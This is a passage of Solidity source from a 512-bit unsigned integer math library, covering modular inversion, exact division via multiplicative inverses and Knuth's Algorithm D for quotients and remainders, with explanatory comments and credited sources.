mulmod(x_hi, y, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) let r_partial := mul(x_hi, y) r_ex := sub(sub(mm1, r_partial), lt(mm1, r_partial)) r_hi := add(r_partial, sub(sub(mm0, r_lo), lt(mm0, r_lo))) // `lt(r_hi, r_partial)` indicates overflow in the addition to form // `r_hi`. We can add the bool directly to the integer to perform // carry. r_ex := add(r_ex, lt(r_hi, r_partial)) } } //// The technique implemented in the following functions for division is //// adapted from Remco Bloemen's work https://2π.com/21/muldiv/ . //// The original code was released under the MIT license. function _roundDown(uint256 x_hi, uint256 x_lo, uint256 d) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { // Get the remainder [n_hi n_lo] % d (< 2²⁵⁶ - 1) // 2**256 % d = -d % 2**256 % d -- https://2π.com/17/512-bit-division/ let rem := mulmod(x_hi, sub(0x00, d), d) rem := addmod(x_lo, rem, d) r_hi := sub(x_hi, gt(rem, x_lo)) r_lo := sub(x_lo, rem) } } function _roundDown(uint256 x_hi, uint256 x_lo, uint256 d_hi, uint256 d_lo) private view returns (uint256 r_hi, uint256 r_lo) { uint512 r; assembly ("memory-safe") { // We point `r` to the beginning of free memory WITHOUT allocating. // This is not technically "memory-safe" because solc might use that // memory for something in between the end of this assembly block // and the beginning of the call to `into()`, but empirically and // practically speaking that won't and doesn't happen. We save some // gas by not bumping the free pointer. r := mload(0x40) // Get the remainder [x_hi x_lo] % [d_hi d_lo] (< 2⁵¹² - 1) We use // the MODEXP (5) precompile with an exponent of 1. We encode the // arguments to the precompile at the beginning of free memory // without allocating. Conveniently, `r` already points to this // region. Arguments are encoded as: // [64 32 64 x_hi x_lo 1 d_hi d_lo] mstore(r, 0x40) mstore(add(0x20, r), 0x20) mstore(add(0x40, r), 0x40) mstore(add(0x60, r), x_hi) mstore(add(0x80, r), x_lo) mstore(add(0xa0, r), 0x01) mstore(add(0xc0, r), d_hi) mstore(add(0xe0, r), d_lo) // The MODEXP precompile can only fail due to out-of-gas. This call // consumes only 200 gas, so if it failed, there is only 4 gas // remaining in this context. Therefore, we will out-of-gas // immediately when we attempt to read the result. We don't bother // to check for failure. pop(staticcall(gas(), 0x05, r, 0x100, r, 0x40)) } (uint256 rem_hi, uint256 rem_lo) = r.into(); // Round down by subtracting the remainder from the numerator (r_hi, r_lo) = _sub(x_hi, x_lo, rem_hi, rem_lo); } function _twos(uint256 x) private pure returns (uint256 twos, uint256 twosInv) { assembly ("memory-safe") { // Compute largest power of two divisor of `x`. `x` is nonzero, so // this is always ≥ 1. twos := and(sub(0x00, x), x) // To shift up (bits from the high limb into the low limb) we need // the inverse of `twos`. That is, 2²⁵⁶ / twos. // 2**256 / twos = -twos % 2**256 / twos + 1 -- https://2π.com/17/512-bit-division/ // If `twos` is zero, then `twosInv` becomes one (not possible) twosInv := add(div(sub(0x00, twos), twos), 0x01) } } function _toOdd256(uint256 x_hi, uint256 x_lo, uint256 y) private pure returns (uint256 x_lo_out, uint256 y_out) { // Factor powers of two out of `y` and apply the same shift to [x_hi // x_lo] (uint256 twos, uint256 twosInv) = _twos(y); assembly ("memory-safe") { // Divide `y` by the power of two y_out := div(y, twos) // Divide [x_hi x_lo] by the power of two x_lo_out := or(div(x_lo, twos), mul(x_hi, twosInv)) } } function _toOdd256(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 x_lo_out, uint256 y_lo_out) { // Factor powers of two out of `y_lo` and apply the same shift to `x_lo` (uint256 twos, uint256 twosInv) = _twos(y_lo); assembly ("memory-safe") { // Divide [y_hi y_lo] by the power of two, returning only the low limb y_lo_out := or(div(y_lo, twos), mul(y_hi, twosInv)) // Divide [x_hi x_lo] by the power of two, returning only the low limb x_lo_out := or(div(x_lo, twos), mul(x_hi, twosInv)) } } function _toOdd512(uint256 x_hi, uint256 x_lo, uint256 y) private pure returns (uint256 x_hi_out, uint256 x_lo_out, uint256 y_out) { // Factor powers of two out of `y` and apply the same shift to [x_hi // x_lo] (uint256 twos, uint256 twosInv) = _twos(y); assembly ("memory-safe") { // Divide `y` by the power of two y_out := div(y, twos) // Divide [x_hi x_lo] by the power of two x_hi_out := div(x_hi, twos) x_lo_out := or(div(x_lo, twos), mul(x_hi, twosInv)) } } function _toOdd512(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 x_hi_out, uint256 x_lo_out, uint256 y_hi_out, uint256 y_lo_out) { // Factor powers of two out of [y_hi y_lo] and apply the same shift to // [x_hi x_lo] and [y_hi y_lo] (uint256 twos, uint256 twosInv) = _twos(y_lo); assembly ("memory-safe") { // Divide [y_hi y_lo] by the power of two y_hi_out := div(y_hi, twos) y_lo_out := or(div(y_lo, twos), mul(y_hi, twosInv)) // Divide [x_hi x_lo] by the power of two x_hi_out := div(x_hi, twos) x_lo_out := or(div(x_lo, twos), mul(x_hi, twosInv)) } } function _invert256(uint256 d) private pure returns (uint256 inv) { assembly ("memory-safe") { // Invert `d` mod 2²⁵⁶ -- https://2π.com/18/multiplitcative-inverses/ // `d` is an odd number (from _toOdd*). It has an inverse modulo // 2²⁵⁶ such that d * inv ≡ 1 mod 2²⁵⁶. // We use Newton-Raphson iterations compute inv. Thanks to Hensel's // lifting lemma, this also works in modular arithmetic, doubling // the correct bits in each step. The Newton-Raphson-Hensel step is: // inv_{n+1} = inv_n * (2 - d*inv_n) % 2**512 // To kick off Newton-Raphson-Hensel iterations, we start with a // seed of the inverse that is correct correct for four bits. // d * inv ≡ 1 mod 2⁴ inv := xor(mul(0x03, d), 0x02) // Each Newton-Raphson-Hensel step doubles the number of correct // bits in `inv`. After 6 iterations, full convergence is // guaranteed. inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2⁸ inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2¹⁶ inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2³² inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2⁶⁴ inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2¹²⁸ inv := mul(inv, sub(0x02, mul(d, inv))) // inverse mod 2²⁵⁶ } } function _invert512(uint256 d) private pure returns (uint256 inv_hi, uint256 inv_lo) { // First, we get the inverse of `d` mod 2²⁵⁶ inv_lo = _invert256(d); // To extend this to the inverse mod 2⁵¹², we perform a more elaborate // 7th Newton-Raphson-Hensel iteration with 512 bits of precision. // tmp = d * inv_lo % 2**512 (uint256 tmp_hi, uint256 tmp_lo) = _mul(d, inv_lo); // tmp = 2 - tmp % 2**512 (tmp_hi, tmp_lo) = _sub(0, 2, tmp_hi, tmp_lo); assembly ("memory-safe") { // inv_hi = inv_lo * tmp / 2**256 % 2**256 let mm := mulmod(inv_lo, tmp_lo, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) inv_hi := add(mul(inv_lo, tmp_hi), sub(sub(mm, inv_lo), lt(mm, inv_lo))) } } function _invert512(uint256 d_hi, uint256 d_lo) private pure returns (uint256 inv_hi, uint256 inv_lo) { // First, we get the inverse of `d` mod 2²⁵⁶ inv_lo = _invert256(d_lo); // To extend this to the inverse mod 2⁵¹², we perform a more elaborate // 7th Newton-Raphson-Hensel iteration with 512 bits of precision. // tmp = d * inv_lo % 2**512 (uint256 tmp_hi, uint256 tmp_lo) = _mul(d_hi, d_lo, inv_lo); // tmp = 2 - tmp % 2**512 (tmp_hi, tmp_lo) = _sub(0, 2, tmp_hi, tmp_lo); assembly ("memory-safe") { // inv_hi = inv_lo * tmp / 2**256 % 2**256 let mm := mulmod(inv_lo, tmp_lo, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) inv_hi := add(mul(inv_lo, tmp_hi), sub(sub(mm, inv_lo), lt(mm, inv_lo))) } } function div(uint512 n, uint256 d) internal pure returns (uint256) { if (d == 0) { Panic.panic(Panic.DIVISION_BY_ZERO); } (uint256 n_hi, uint256 n_lo) = n.into(); if (n_hi == 0) { return n_lo.unsafeDiv(d); } // Round the numerator down to a multiple of the denominator. This makes // the division exact without affecting the result. (n_hi, n_lo) = _roundDown(n_hi, n_lo, d); // Make `d` odd so that it has a multiplicative inverse mod 2²⁵⁶ // After this we can discard `n_hi` because our result is only 256 bits (n_lo, d) = _toOdd256(n_hi, n_lo, d); // We perform division by multiplying by the multiplicative inverse of // the denominator mod 2²⁵⁶. Since `d` is odd, this inverse // exists. Compute that inverse d = _invert256(d); unchecked { // Because the division is now exact (we rounded `n` down to a // multiple of `d`), we perform it by multiplying with the modular // inverse of the denominator. This is the correct result mod 2²⁵⁶. return n_lo * d; } } function _gt(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (bool r) { assembly ("memory-safe") { r := or(gt(x_hi, y_hi), and(eq(x_hi, y_hi), gt(x_lo, y_lo))) } } function div(uint512 n, uint512 d) internal view returns (uint256) { (uint256 d_hi, uint256 d_lo) = d.into(); if (d_hi == 0) { return div(n, d_lo); } (uint256 n_hi, uint256 n_lo) = n.into(); if (d_lo == 0) { return n_hi.unsafeDiv(d_hi); } if (_gt(d_hi, d_lo, n_hi, n_lo)) { // TODO: this optimization may not be overall optimizing return 0; } // Round the numerator down to a multiple of the denominator. This makes // the division exact without affecting the result. (n_hi, n_lo) = _roundDown(n_hi, n_lo, d_hi, d_lo); // Make `d_lo` odd so that it has a multiplicative inverse mod 2²⁵⁶ // After this we can discard `n_hi` and `d_hi` because our result is // only 256 bits (n_lo, d_lo) = _toOdd256(n_hi, n_lo, d_hi, d_lo); // We perform division by multiplying by the multiplicative inverse of // the denominator mod 2²⁵⁶. Since `d_lo` is odd, this inverse // exists. Compute that inverse d_lo = _invert256(d_lo); unchecked { // Because the division is now exact (we rounded `n` down to a // multiple of `d`), we perform it by multiplying with the modular // inverse of the denominator. This is the correct result mod 2²⁵⁶. return n_lo * d_lo; } } function odiv(uint512 r, uint512 x, uint256 y) internal pure returns (uint512) { if (y == 0) { Panic.panic(Panic.DIVISION_BY_ZERO); } (uint256 x_hi, uint256 x_lo) = x.into(); if (x_hi == 0) { return r.from(0, x_lo.unsafeDiv(y)); } // Round the numerator down to a multiple of the denominator. This makes // the division exact without affecting the result. (x_hi, x_lo) = _roundDown(x_hi, x_lo, y); // Make `y` odd so that it has a multiplicative inverse mod 2⁵¹² (x_hi, x_lo, y) = _toOdd512(x_hi, x_lo, y); // We perform division by multiplying by the multiplicative inverse of // the denominator mod 2⁵¹². Since `y` is odd, this inverse // exists. Compute that inverse (uint256 inv_hi, uint256 inv_lo) = _invert512(y); // Because the division is now exact (we rounded `x` down to a multiple // of `y`), we perform it by multiplying with the modular inverse of the // denominator. (uint256 r_hi, uint256 r_lo) = _mul(x_hi, x_lo, inv_hi, inv_lo); return r.from(r_hi, r_lo); } function idiv(uint512 r, uint256 y) internal pure returns (uint512) { return odiv(r, r, y); } function odiv(uint512 r, uint512 x, uint512 y) internal view returns (uint512) { (uint256 y_hi, uint256 y_lo) = y.into(); if (y_hi == 0) { return odiv(r, x, y_lo); } (uint256 x_hi, uint256 x_lo) = x.into(); if (y_lo == 0) { return r.from(0, x_hi.unsafeDiv(y_hi)); } if (_gt(y_hi, y_lo, x_hi, x_lo)) { // TODO: this optimization may not be overall optimizing return r.from(0, 0); } // Round the numerator down to a multiple of the denominator. This makes // the division exact without affecting the result. (x_hi, x_lo) = _roundDown(x_hi, x_lo, y_hi, y_lo); // Make `y` odd so that it has a multiplicative inverse mod 2⁵¹² (x_hi, x_lo, y_hi, y_lo) = _toOdd512(x_hi, x_lo, y_hi, y_lo); // We perform division by multiplying by the multiplicative inverse of // the denominator mod 2⁵¹². Since `y` is odd, this inverse // exists. Compute that inverse (y_hi, y_lo) = _invert512(y_hi, y_lo); // Because the division is now exact (we rounded `x` down to a multiple // of `y`), we perform it by multiplying with the modular inverse of the // denominator. (uint256 r_hi, uint256 r_lo) = _mul(x_hi, x_lo, y_hi, y_lo); return r.from(r_hi, r_lo); } function idiv(uint512 r, uint512 y) internal view returns (uint512) { return odiv(r, r, y); } function irdiv(uint512 r, uint512 y) internal view returns (uint512) { return odiv(r, y, r); } function _gt(uint256 x_ex, uint256 x_hi, uint256 x_lo, uint256 y_ex, uint256 y_hi, uint256 y_lo) private pure returns (bool r) { assembly ("memory-safe") { r := or( or(gt(x_ex, y_ex), and(eq(x_ex, y_ex), gt(x_hi, y_hi))), and(and(eq(x_ex, y_ex), eq(x_hi, y_hi)), gt(x_lo, y_lo)) ) } } /// The technique implemented in the following helper function for Knuth /// Algorithm D (a modification of the citation further below) is adapted /// from ridiculous fish's (aka corydoras) work /// https://ridiculousfish.com/blog/posts/labor-of-division-episode-iv.html /// and /// https://ridiculousfish.com/blog/posts/labor-of-division-episode-v.html . function _correctQ(uint256 q, uint256 r, uint256 x_next, uint256 y_next, uint256 y_whole) private pure returns (uint256 q_out) { assembly ("memory-safe") { let c1 := mul(q, y_next) let c2 := or(shl(0x80, r), x_next) q_out := sub(q, shl(gt(sub(c1, c2), y_whole), gt(c1, c2))) } } /// The technique implemented in the following function for division is /// adapted from Donald Knuth, The Art of Computer Programming (TAOCP) /// Volume 2, Section 4.3.1, Algorithm D. function _algorithmD(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256 q) { // We treat `x` and `y` each as ≤4-limb bigints where each limb is half // a machine word (128 bits). This lets us perform 2-limb ÷ 1-limb // divisions as a single operation (`div`) as required by Algorithm // D. It also simplifies/optimizes some of the multiplications. if (y_hi >> 128 != 0) { // y is 4 limbs, x is 4 limbs, q is 1 limb // Normalize. Ensure the uppermost limb of y ≥ 2¹²⁷ (equivalently // y_hi >= 2**255). This is step D1 of Algorithm D // The author's copy of TAOCP (3rd edition) states to set `d = (2 ** // 128 - 1) // y_hi`, however this is incorrect. Setting `d` in this // fashion may result in overflow in the subsequent `_mul`. Setting // `d` as implemented below still satisfies the postcondition (`y_hi // >> 128 >= 1 << 127`) but never results in overflow. uint256 d = uint256(1 << 128).unsafeDiv((y_hi >> 128).unsafeInc()); uint256 x_ex; (x_ex, x_hi, x_lo) = _mul768(x_hi, x_lo, d); (y_hi, y_lo) = _mul(y_hi, y_lo, d); // `n_approx` is the 2 most-significant limbs of x, after // normalization uint256 n_approx = (x_ex << 128) | (x_hi >> 128); // `d_approx` is the most significant limb of y, after normalization uint256 d_approx = y_hi >> 128; // Normalization ensures that result of this division is an // approximation of the most significant (and only) limb of the // quotient and is too high by at most 3. This is the "Calculate // q-hat" (D3) step of Algorithm D. (did you know that U+0302, // COMBINING CIRCUMFLEX ACCENT cannot be combined with q? shameful) q = n_approx.unsafeDiv(d_approx); uint256 r_hat = n_approx.unsafeMod(d_approx); // The process of `_correctQ` subtracts up to 2 from `q`, to make it // more accurate. This is still part of the "Calculate q-hat" (D3) // step of Algorithm D. q = _correctQ(q, r_hat, x_hi & type(uint128).max, y_hi & type(uint128).max, y_hi); // This final, low-probability, computationally-expensive correction // conditionally subtracts 1 from `q` to make it exactly the // most-significant limb of the quotient. This is the "Multiply and // subtract" (D4), "Test remainder" (D5), and "Add back" (D6) steps // of Algorithm D, with substantial shortcutting { (uint256 tmp_ex, uint256 tmp_hi, uint256 tmp_lo) = _mul768(y_hi, y_lo, q); bool neg = _gt(tmp_ex, tmp_hi, tmp_lo, x_ex, x_hi, x_lo); assembly ("memory-safe") { q := sub(q, neg) } } } else { // y is 3 limbs // Normalize. Ensure the most significant limb of y ≥ 2¹²⁷ (step D1) // See above comment about the error in TAOCP. uint256 d = uint256(1 << 128).unsafeDiv(y_hi.unsafeInc()); (y_hi, y_lo) = _mul(y_hi, y_lo, d); // `y_next` is the second-most-significant, nonzero, normalized limb // of y uint256 y_next = y_lo >> 128; // `y_whole` is the 2 most-significant, nonzero, normalized limbs of // y uint256 y_whole = (y_hi << 128) | y_next; if (x_hi >> 128 != 0) { // x is 4 limbs, q is 2 limbs // Finish normalizing (step D1) uint256 x_ex; (x_ex, x_hi, x_lo) = _mul768(x_hi, x_lo, d); uint256 n_approx = (x_ex << 128) | (x_hi >> 128); // As before, `q_hat` is the most significant limb of the // quotient and too high by at most 3 (step D3) uint256 q_hat = n_approx.unsafeDiv(y_hi); uint256 r_hat = n_approx.unsafeMod(y_hi); // Subtract up to 2 from `q_hat`, improving our estimate (step // D3) q_hat = _correctQ(q_hat, r_hat, x_hi & type(uint128).max, y_next, y_whole); q = q_hat << 128; { // "Multiply and subtract" (D4) step of Algorithm D (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q_hat); uint256 tmp_ex = tmp_hi >> 128; tmp_hi = (tmp_hi << 128) | (tmp_lo >> 128); tmp_lo <<= 128; // "Test remainder" (D5) step of Algorithm D bool neg = _gt(tmp_ex, tmp_hi, tmp_lo, x_ex, x_hi, x_lo); // Finish step D4 (x_hi, x_lo) = _sub(x_hi, x_lo, tmp_hi, tmp_lo); // "Add back" (D6) step of Algorithm D if (neg) { // This branch is quite rare, so it's gas-advantageous // to actually branch and usually skip the costly `_add` unchecked { q -= 1 << 128; } (x_hi, x_lo) = _add(x_hi, x_lo, y_whole, y_lo << 128); } } // `x_ex` is now zero (implicitly) // Run another loop (steps D3 through D6) of Algorithm D to get // the lower limb of the quotient q_hat = x_hi.unsafeDiv(y_hi); r_hat = x_hi.unsafeMod(y_hi); q_hat = _correctQ(q_hat, r_hat, x_lo >> 128, y_next, y_whole); { (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q_hat); bool neg = _gt(tmp_hi, tmp_lo, x_hi, x_lo); assembly ("memory-safe") { q_hat := sub(q_hat, neg) } } q |= q_hat; } else { // x is 3 limbs, q is 1 limb // Finish normalizing (step D1) (x_hi, x_lo) = _mul(x_hi, x_lo, d); // `q` is the most significant (and only) limb of the quotient // and too high by at most 3 (step D3) q = x_hi.unsafeDiv(y_hi); uint256 r_hat = x_hi.unsafeMod(y_hi); // Subtract up to 2 from `q`, improving our estimate (step D3) q = _correctQ(q, r_hat, x_lo >> 128, y_next, y_whole); // Subtract up to 1 from `q` to make it exact (steps D4 through // D6) { (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q); bool neg = _gt(tmp_hi, tmp_lo, x_hi, x_lo); assembly ("memory-safe") { q := sub(q, neg) } } } } // All other cases are handled by the checks that y ≥ 2²⁵⁶ (equivalently // y_hi != 0) and that x ≥ y } /// Modified from Solady (https://github.com/Vectorized/solady/blob/a3d6a974f9c9f00dcd95b235619a209a63c61d94/src/utils/LibBit.sol#L33-L45) /// The original code was released under the MIT license. function _clzLower(uint256 x) private pure returns (uint256 r) { assembly ("memory-safe") { r := shl(0x06, lt(0xffffffffffffffff, x)) r := or(r, shl(0x05, lt(0xffffffff, shr(r, x)))) r := or(r, shl(0x04, lt(0xffff, shr(r, x)))) r := or(r, shl(0x03, lt(0xff, shr(r, x)))) // We use a 5-bit deBruijn Sequence to convert `x`'s 8 // most-significant bits into an index. We then index the lookup // table (bytewise) by the deBruijn symbol to obtain the bitwise // inverse of its logarithm. r := xor( r, byte( and(0x1f, shr(shr(r, x), 0x8421084210842108cc6318c6db6d54be)), 0x7879797a797d7a7b797d7c7d7a7b7c7e797a7d7a7c7c7b7e7a7a7c7b7f7f7f7f ) ) } } function _clzUpper(uint256 x) private pure returns (uint256) { return _clzLower(x >> 128); } function _shl(uint256 x_hi, uint256 x_lo, uint256 s) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_hi := or(shl(s, x_hi), shr(sub(0x100, s), x_lo)) r_lo := shl(s, x_lo) } } function _shl768(uint256 x_hi, uint256 x_lo, uint256 s) private pure returns (uint256 r_ex, uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { let neg_s := sub(0x100, s) r_ex := shr(neg_s, x_hi) r_hi := or(shl(s, x_hi), shr(neg_s, x_lo)) r_lo := shl(s, x_lo) } } function _shr(uint256 x_hi, uint256 x_lo, uint256 s) private pure returns (uint256 r_hi, uint256 r_lo) { assembly ("memory-safe") { r_hi := shr(s, x_hi) r_lo := or(shl(sub(0x100, s), x_hi), shr(s, x_lo)) } } // This function is a different modification of Knuth's Algorithm D. In this // case, we're only interested in the (normalized) remainder instead of the // quotient. We also substitute the normalization by division for // normalization by shifting because it makes un-normalization more // gas-efficient. function _algorithmDRemainder(uint256 x_hi, uint256 x_lo, uint256 y_hi, uint256 y_lo) private pure returns (uint256, uint256) { // We treat `x` and `y` each as ≤4-limb bigints where each limb is half // a machine word (128 bits). This lets us perform 2-limb ÷ 1-limb // divisions as a single operation (`div`) as required by Algorithm D. uint256 s; if (y_hi >> 128 != 0) { // y is 4 limbs, x is 4 limbs // Normalize. Ensure the uppermost limb of y ≥ 2¹²⁷ (equivalently // y_hi >= 2**255). This is step D1 of Algorithm D Unlike the // preceeding implementation of Algorithm D, we use a binary shift // instead of a multiply to normalize. This performs a costly "count // leading zeroes" operation, but it lets us transform an // even-more-costly division-by-inversion operation later into a // simple shift. This still ultimately satisfies the postcondition // (y_hi >> 128 >= 1 << 127) without overflowing. s = _clzUpper(y_hi); uint256 x_ex; (x_ex, x_hi, x_lo) = _shl768(x_hi, x_lo, s); (y_hi, y_lo) = _shl(y_hi, y_lo, s); // `n_approx` is the 2 most-significant limbs of x, after // normalization uint256 n_approx = (x_ex << 128) | (x_hi >> 128); // TODO: this can probably be optimized (combined with `_shl`) // `d_approx` is the most significant limb of y, after normalization uint256 d_approx = y_hi >> 128; // TODO: this can probably be optimized (combined with `_shl`) // Normalization ensures that result of this division is an // approximation of the most significant (and only) limb of the // quotient and is too high by at most 3. This is the "Calculate // q-hat" (D3) step of Algorithm D. (did you know that U+0302, // COMBINING CIRCUMFLEX ACCENT cannot be combined with q? shameful) uint256 q_hat = n_approx.unsafeDiv(d_approx); uint256 r_hat = n_approx.unsafeMod(d_approx); // The process of `_correctQ` subtracts up to 2 from `q_hat`, to // make it more accurate. This is still part of the "Calculate // q-hat" (D3) step of Algorithm D. q_hat = _correctQ(q_hat, r_hat, x_hi & type(uint128).max, y_hi & type(uint128).max, y_hi); { // This penultimate correction subtracts q-hat × y from x to // obtain the normalized remainder. This is the "Multiply and // subtract" (D4) and "Test remainder" (D5) steps of Algorithm // D, with some shortcutting (uint256 tmp_ex, uint256 tmp_hi, uint256 tmp_lo) = _mul768(y_hi, y_lo, q_hat); bool neg = _gt(tmp_ex, tmp_hi, tmp_lo, x_ex, x_hi, x_lo); (x_hi, x_lo) = _sub(x_hi, x_lo, tmp_hi, tmp_lo); // `x_ex` is now implicitly zero (or signals a carry that we // will clear in the next step) // Because `q_hat` may be too high by 1, we have to detect // underflow from the previous step and correct it. This is the // "Add back" (D6) step of Algorithm D if (neg) { (x_hi, x_lo) = _add(x_hi, x_lo, y_hi, y_lo); } } } else { // y is 3 limbs // Normalize. Ensure the most significant limb of y ≥ 2¹²⁷ (step D1) // See above comment about the use of a shift instead of division. s = _clzLower(y_hi); (y_hi, y_lo) = _shl(y_hi, y_lo, s); // `y_next` is the second-most-significant, nonzero, normalized limb // of y uint256 y_next = y_lo >> 128; // TODO: this can probably be optimized (combined with `_shl`) // `y_whole` is the 2 most-significant, nonzero, normalized limbs of // y uint256 y_whole = (y_hi << 128) | y_next; // TODO: this can probably be optimized (combined with `_shl`) if (x_hi >> 128 != 0) { // x is 4 limbs; we have to run 2 iterations of Algorithm D to // fully divide out by y // Finish normalizing (step D1) uint256 x_ex; (x_ex, x_hi, x_lo) = _shl768(x_hi, x_lo, s); uint256 n_approx = (x_ex << 128) | (x_hi >> 128); // TODO: this can probably be optimized (combined with `_shl768`) // As before, `q_hat` is the most significant limb of the // quotient and too high by at most 3 (step D3) uint256 q_hat = n_approx.unsafeDiv(y_hi); uint256 r_hat = n_approx.unsafeMod(y_hi); // Subtract up to 2 from `q_hat`, improving our estimate (step // D3) q_hat = _correctQ(q_hat, r_hat, x_hi & type(uint128).max, y_next, y_whole); // Subtract up to 1 from q-hat to make it exactly the // most-significant limb of the quotient and subtract q-hat × y // from x to clear the most-significant limb of x. { // "Multiply and subtract" (D4) step of Algorithm D (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q_hat); uint256 tmp_ex = tmp_hi >> 128; tmp_hi = (tmp_hi << 128) | (tmp_lo >> 128); tmp_lo <<= 128; // "Test remainder" (D5) step of Algorithm D bool neg = _gt(tmp_ex, tmp_hi, tmp_lo, x_ex, x_hi, x_lo); // Finish step D4 (x_hi, x_lo) = _sub(x_hi, x_lo, tmp_hi, tmp_lo); // "Add back" (D6) step of Algorithm D. We implicitly // subtract 1 from `q_hat`, but elide explicitly // representing that because `q_hat` is no longer needed. if (neg) { // This branch is quite rare, so it's gas-advantageous // to actually branch and usually skip the costly `_add` (x_hi, x_lo) = _add(x_hi, x_lo, y_whole, y_lo << 128); } } // `x_ex` is now zero (implicitly) // [x_hi x_lo] now represents the partial, normalized remainder. // Run another loop (steps D3 through D6) of Algorithm D to get // the lower limb of the quotient // Step D3 q_hat = x_hi.unsafeDiv(y_hi); r_hat = x_hi.unsafeMod(y_hi); // Step D3 q_hat = _correctQ(q_hat, r_hat, x_lo >> 128, y_next, y_whole); // Again, implicitly correct q-hat to make it exactly the // least-significant limb of the quotient. Subtract q-hat × y // from x to obtain the normalized remainder. { // Steps D4 and D5 (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q_hat); bool neg = _gt(tmp_hi, tmp_lo, x_hi, x_lo); (x_hi, x_lo) = _sub(x_hi, x_lo, tmp_hi, tmp_lo); // Step D6 if (neg) { (x_hi, x_lo) = _add(x_hi, x_lo, y_hi, y_lo); } } } else { // x is 3 limbs // Finish normalizing (step D1) (x_hi, x_lo) = _shl(x_hi, x_lo, s); // `q_hat` is the most significant (and only) limb of the // quotient and too high by at most 3 (step D3) uint256 q_hat = x_hi.unsafeDiv(y_hi); uint256 r_hat = x_hi.unsafeMod(y_hi); // Subtract up to 2 from `q_hat`, improving our estimate (step // D3) q_hat = _correctQ(q_hat, r_hat, x_lo >> 128, y_next, y_whole); // Make `q_hat` exact (implicitly) and subtract q-hat × y from x // to obtain the normalized remainder. (steps D4 through D6) { (uint256 tmp_hi, uint256 tmp_lo) = _mul(y_hi, y_lo, q_hat); bool neg = _gt(tmp_hi, tmp_lo, x_hi, x_lo); (x_hi, x_lo) = _sub(x_hi, x_lo, tmp_hi, tmp_lo); if (neg) { (x_hi, x_lo) = _add(x_hi, x_lo, y_hi, y_lo); } } } } // All other cases are handled by the checks that y ≥ 2²⁵⁶ (equivalently // y_hi != 0) and that x ≥ y // The second-most-significant limb of normalized x is now zero // (equivalently x_hi < 2**128), but because the entire machine is not // guaranteed to be cleared, we can't optimize any further. // [x_hi x_lo] now represents remainder × 2ˢ (the normalized remainder); // we shift right by `s` (un-normalize) to obtain the result. return _shr(x_hi, x_lo, s); } function odivAlt(uint512 r, uint512 x, uint512 y) internal pure returns (uint512) { (uint256 y_hi, uint256 y_lo) = y.into(); if (y_hi == 0) { // This is the only case where we can have a 2-word quotient return odiv(r, x, y_lo); } (uint256 x_hi, uint256 x_lo) = x.into(); if (y_lo == 0) { uint256 r_lo = x_hi.unsafeDiv(y_hi); return r.from(0, r_lo); } if (_gt(y_hi, y_lo, x_hi, x_lo)) { return r.from(0, 0); } // At this point, we know that both `x` and `y` are fully represented by // 2 words. There is no simpler representation for the problem. We must // use Knuth's Algorithm D. { uint256 r_lo = _algorithmD(x_hi, x_lo, y_hi, y_lo); return r.from(0, r_lo); } } function idivAlt(uint512 r, uint512 y) internal pure returns (uint512) { return odivAlt(r, r, y); } function irdivAlt(uint512 r, uint512 y) internal pure returns (uint512) { return odivAlt(r, y, r); } function divAlt(uint512 x, uint512 y) internal pure returns (uint256) { (uint256 y_hi, uint256 y_lo) = y.into(); if (y_hi == 0) { return div(x, y_lo); } (uint256 x_hi, uint256 x_lo) = x.into(); if (y_lo == 0) { return x_hi.unsafeDiv(y_hi); } if (_gt(y_hi, y_lo, x_hi, x_lo)) { return 0; } // At this point, we know that both `x` and `y` are fully represented by // 2 words. There is no simpler representation for the problem. We must // use Knuth's Algorithm D. return _algorithmD(x_hi, x_lo, y_hi, y_lo); } function omodAlt(uint512 r, uint512 x, uint512 y) internal pure returns (uint512) { (uint256 y_hi, uint256 y_lo) = y.into(); if (y_hi == 0) { uint256 r_lo = mod(x, y_lo); return r.from(0, r_lo); } (uint256 x_hi, uint256 x_lo) = x.into(); if (y_lo == 0) { uint256 r_hi = x_hi.unsafeMod(y_hi); return r.from(r_hi, x_lo); } if (_gt(y_hi, y_lo, x_hi, x_lo)) { return r.from(x_hi, x_lo); } // At this point, we know that both `x` and `y` are fully represented by // 2 words. There is no simpler representation for the problem. We must // use Knuth's Algorithm D. { (uint256 r_hi, uint256 r_lo) = _algorithmDRemainder(x_hi, x_lo, y_hi, y_lo); return r.from(r_hi, r_lo); } } function imodAlt(uint512 r, uint512 y) internal pure returns (uint512) { return omodAlt(r, r, y); } function irmodAlt(uint512 r, uint512 y) internal pure returns (uint512) { return omodAlt(r, y, r); } } using Lib512MathArithmetic for uint512 global; library Lib512MathUserDefinedHelpers { function checkNull(uint512 x, uint512 y) internal pure { assembly ("memory-safe") { if iszero(mul(x, y)) { mstore(0x00, 0x4e487b71) // selector for `Panic(uint256)` mstore(0x20, 0x01) // code for "assertion failure" } } } function smuggleToPure(function (uint512, uint512, uint512) internal view returns (uint512) f) internal pure returns (function (uint512, uint512, uint512) internal pure returns (uint512) r) { assembly ("memory-safe") { r := f } } function omod(uint512 r, uint512 x, uint512 y) internal view returns (uint512) { return r.omod(x, y); } function odiv(uint512 r, uint512 x, uint512 y) internal view returns (uint512) { return r.odiv(x, y); } } function __add(uint512 x, 